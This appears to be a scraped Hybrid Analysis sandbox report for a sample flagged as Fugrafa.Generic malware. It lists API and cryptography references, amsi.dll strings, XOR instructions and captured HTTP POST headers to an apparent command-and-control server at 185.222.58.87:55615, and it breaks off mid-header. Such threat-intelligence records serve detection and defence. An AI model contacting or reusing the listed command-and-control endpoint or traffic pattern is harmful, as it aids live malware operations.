26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 62:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4a3,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Fugrafa.Generic Sample d97ec62704f6… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample d97ec62704f6…. Malware family: Fugrafa.Generic. Threat score 100/100. 9/26 AV engines flagged this file. 14 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/d97ec62704f6714c0100506510fda9b8326814aa18612e666b98a343572d54d9","keywords":["Malicious","Fugrafa.Generic","malware analysis","sandbox report","threat intelligence","d97ec62704f6714c0100506510fda9b8326814aa18612e666b98a343572d54d9"],"about":{"@type":"SoftwareApplication","name":"22c44c550563220ca7ebfcfc28351b9f.exe","applicationCategory":["peexe","executable"],"identifier":"d97ec62704f6714c0100506510fda9b8326814aa18612e666b98a343572d54d9","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Fugrafa.Generic","antivirusDetections":{"malicious":9,"total":26},"behavioralIndicators":{"malicious":14,"suspicious":24},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T645,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp")28:T1ada,Found reference to "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "RSACng"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "DSACng"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesManaged"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellman"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellmanCng"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsa"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsaCng"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384" (Indicator: "SHA384"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng" (Indicator: "SHA384"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512" (Indicator: "SHA512"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng" (Indicator: "SHA512"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider" (Indicator: "SHA512"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.HMAC" (Indicator: "HMAC"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.KeyedHashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp") Found reference to "System.Security.Cryptography.KeyedHashAlgorithm" (Indicator: "KeyedHashAlgorithm"; Source: "00000000-00007212.00000000.140864.05710000.00000004.mdmp")29:T51b,Observed string: "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" (Indicator: "amsi.dll") in Source: 00000000-00006620.00000000.141393.02F00000.00000004.mdmp Observed string: ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" (Indicator: "amsi.dll") in Source: 00000000-00006620.00000000.141393.02F00000.00000004.mdmp Observed string: ":\windows\syswow64\windowspowershell\v1.0\amsi.dll" (Indicator: "amsi.dll") in Source: 00000000-00006620.00000000.141393.02F00000.00000004.mdmp Observed string: ":\WINDOWS\SYSTEM32\amsi.dll" (Indicator: "amsi.dll") in Source: 00000000-00006620.00000000.141393.02F00000.00000004.mdmp Observed string: "werShell\v1.0\amsi.dll" (Indicator: "amsi.dll") in Source: 00000000-00006620.00000000.141393.02F00000.00000004.mdmp Observed string: "??\C:\WINDOWS\SYSTEM32\amsi.dll" (Indicator: "amsi.dll") in Source: 00000000-00007212.00000000.140864.037F0000.00000004.mdmp Observed string: ":\windows\system32\amsi.dll" (Indicator: "amsi.dll") in Source: 00000000-00007212.00000000.140864.037F0000.00000004.mdmp Observed string: ":\WINDOWS\SYSTEM32\amsi.dll" (Indicator: "amsi.dll") in Source: 00000000-00007212.00000000.140864.037F0000.00000004.mdmp2a:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}2b:T15c1,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005280-14135-29-00E622F1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005280-14135-29-00E622F1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005280-14135-111-00E623AC Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005280-14135-111-00E623AC Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005280-14135-106-00E62CD3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005280-14135-106-00E62CD3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005280-14135-103-00E63030 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005280-14135-103-00E63030 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005280-14135-40-00E6229B Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005280-14135-40-00E6229B Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005280-14135-48-00E5B27F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005280-14135-48-00E5B27F Assembly shows XOR instruction xor esi eax in Stream UID: 00000000-00005280-14135-32-00E620D8 Assembly shows XOR instruction xor edi edx in Stream UID: 00000000-00005280-14135-32-00E620D8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005280-14135-108-00E61DA4 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005280-14135-108-00E61DA4 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005280-14135-125-00E5F477 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005280-14135-125-00E5F477 Assembly shows XOR instruction xor eax dword ptr [ecx+08h] in Stream UID: 00000000-00005280-14135-83-00E68E34 Assembly shows XOR instruction xor dword ptr [ecx+08h] eax in Stream UID: 00000000-00005280-14135-83-00E68E34 Assembly shows XOR instruction xor ecx dword ptr [eax] in Stream UID: 00000000-00005280-14135-83-00E68E34 Assembly shows XOR instruction xor dword ptr [eax] ecx in Stream UID: 00000000-00005280-14135-83-00E68E34 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005280-14135-91-00E68563 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005280-14135-91-00E68563 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006620-18459-133-0009995D Assembly shows XOR instruction xor esi dword ptr [000A0390h] in Stream UID: 00000000-00006620-18459-133-0009995D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006620-18459-133-0009995D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006620-18459-129-0009985C Assembly shows XOR instruction xor esi dword ptr [000A0394h] in Stream UID: 00000000-00006620-18459-129-0009985C Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006620-18459-129-0009985C Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006620-18459-198-00098E30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006620-18459-198-00098E30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006620-18459-215-000992C0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006620-18459-215-000992C0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006620-18459-92-0009E950 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006620-18459-92-0009E950 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006620-18459-135-0009DAD1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006620-18459-135-0009DAD1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006620-18459-49-0009EE60 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006620-18459-203-000989F0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006620-18459-203-000989F0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006620-18459-126-0009D490 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006620-18459-126-0009D490 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006620-18459-161-0009A4E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006620-18459-199-00097C30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006620-18459-199-00097C30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006620-18459-202-000985B0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006620-18459-202-000985B0 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00006620-18459-217-00099F43 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00006620-18459-217-00099F43 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00006620-18459-217-00099F43 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00006620-18459-217-00099F43 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00006620-18459-217-00099F43 Assembly shows XOR instruction xor ecx eax in Stream UID: 00000000-00006620-18459-217-00099F43 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006620-18459-211-0009D341 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006620-18459-211-0009D3412c:T2b79,Contains base64 string in header "POST" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.222.58.87:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "1Content" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.222.58.87:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Type" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.222.58.87:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "text/xml" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.222.58.87:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "http" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.222.58.87:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Host" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.222.58.87:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "55615Content" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.222.58.87:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Encoding" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.222.58.87:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "gzip" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.222.58.87:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.222.58.87:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "POST" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 185.222.58.87:55615Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate" Contains base64 string in header "1Content" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 185.222.58.87:55615Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate" Contains base64 string in header "Type" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 185.222.58.87:55615Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate" Contains base64 string in header "text/xml" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 185.222.58.87:55615Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate" Contains base64 string in header "http" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 185.222.58.87:55615Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate" Contains base64 string in header "org/Endpoint/EnvironmentSettings" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 185.222.58.87:55615Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate" Contains base64 string in header "Host" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 185.222.58.87:55615Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate" Contains base64 string in header "55615Content" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 185.222.58.87:55615Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate" Contains base64 string in header "Encoding" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 185.222.58.87:55615Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate" Contains base64 string in header "gzip" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 185.222.58.87:55615Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate" Contains base64 string in header "POST" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 185.222.58.87:55615Content-Length: 296477Expect: 100-continueAccept-Encoding: gzip, deflate" Contains base64 string in header "1Content" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 185.222.58.87:55615Content-Length: 296477Expect: 100-continueAccept-Encoding: gzip, deflate" Contains base64 string in header "Type" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 185.222.58.87:55615Content-Length: 296477Expect: 100-continueAccept-Encoding: gzip, deflate" Contains base64 string in header "text/xml" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 185.222.58.87:55615Content-Length: 296477Expect: 100-continueAccept-Encoding: gzip, deflate" Contains base64 string in header "http" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 185.222.58.87:55615Content-Length: 296477Expect: 100-continueAccept-Encoding: gzip, deflate" Contains base64 string in header "Host" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 185.222.58.87:55615Content-Length: 296477Expect: 100-continueAccept-Encoding: gzip, deflate" Contains base64 string in header "55615Content" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 185.222.58.87:55615Content-Length: 296477Expect: 100-continueAccept-Encoding: gzip, deflate" Contains base64 string in header "296477Expect" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 185.222.58.87:55615Content-Length: 296477Expect: 100-continueAccept-Encoding: gzip, deflate" Contains base64 string in header "Encoding" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 185.222.58.87:55615Content-Length: 296477Expect: 100-continueAccept-Encoding: gzip, deflate" Contains base64 string in header "gzip" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 185.222.58.87:55615Content-Length: 296477Expect: 100-continueAccept-Encoding: gzip, deflate" Contains base64 string in header "POST" in header "POST / HTTP/1.1Content-Type: text/xml; 